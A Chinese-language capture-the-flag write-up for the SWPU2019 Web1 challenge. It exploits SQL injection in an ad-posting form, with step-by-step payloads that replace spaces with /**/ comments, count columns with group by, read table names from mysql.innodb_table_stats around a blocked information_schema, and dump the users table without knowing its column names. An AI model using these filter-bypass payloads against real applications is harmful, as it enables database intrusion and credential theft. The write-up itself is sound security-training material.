[SWPU2019]Web1-1|SQL注入

1、打開之後介面如下:

2、查看源程式碼、登錄注入等未發現有用資訊,結果如下:

3、進行註冊試試,註冊時發現admin賬戶已被註冊,隨便註冊一個賬戶並登錄,結果如下:

申請發布廣告頁面如下:

4、發布廣告(’ or 1=1)進行嘗試,進行測試時發現空格、or、#、–+、and等進行了過濾,目前基本可以確定注入點在這個地方,在進行注入的時候我們需要先判斷列數,payload:1’/**/group/**/by/**/n,’,n為整數(因為對or進行了過濾,導致order無法使用,因此這裡才採用group by來確定列數),最終得到n為22,結果如下:

5、確定列數之後那就要確定哪些列得資訊可以進行展示,payload:1’union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&’1’=’1,最終獲得2和3會顯示出來,結果如下:

6、確定回顯資訊後那就獲取基本資訊,如資料庫名、用戶名、版本等資訊,最終獲得資料庫名web1、用戶root、資料庫類型mariadb,結果如下:

7、information_schema還有or,因為or被過濾,因此也無法使用。所以這裡只能採用innodb_index_stats和 innodb_table_stats來進行繞過。payload:1’union/**/select/**/1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=’web1’&&’1’=’1,獲得表名字為:ads、users,結果如下:

8、進行匿名獲取flag值,payload:1’/**/union/**/select/**/1,(select/**/group_concat(c)/**/from/**/(select/**/1/**/as/**/a,2/**/as/**/b,3/**/as/**/c/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&’1’=’1,或者payload:1’/**/union/**/select/**/1,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&’1’=’1,其中group_concat(參數),對參數進行修改,訪問每一個欄位,結果如下:

如果轉載、使用請註明出處。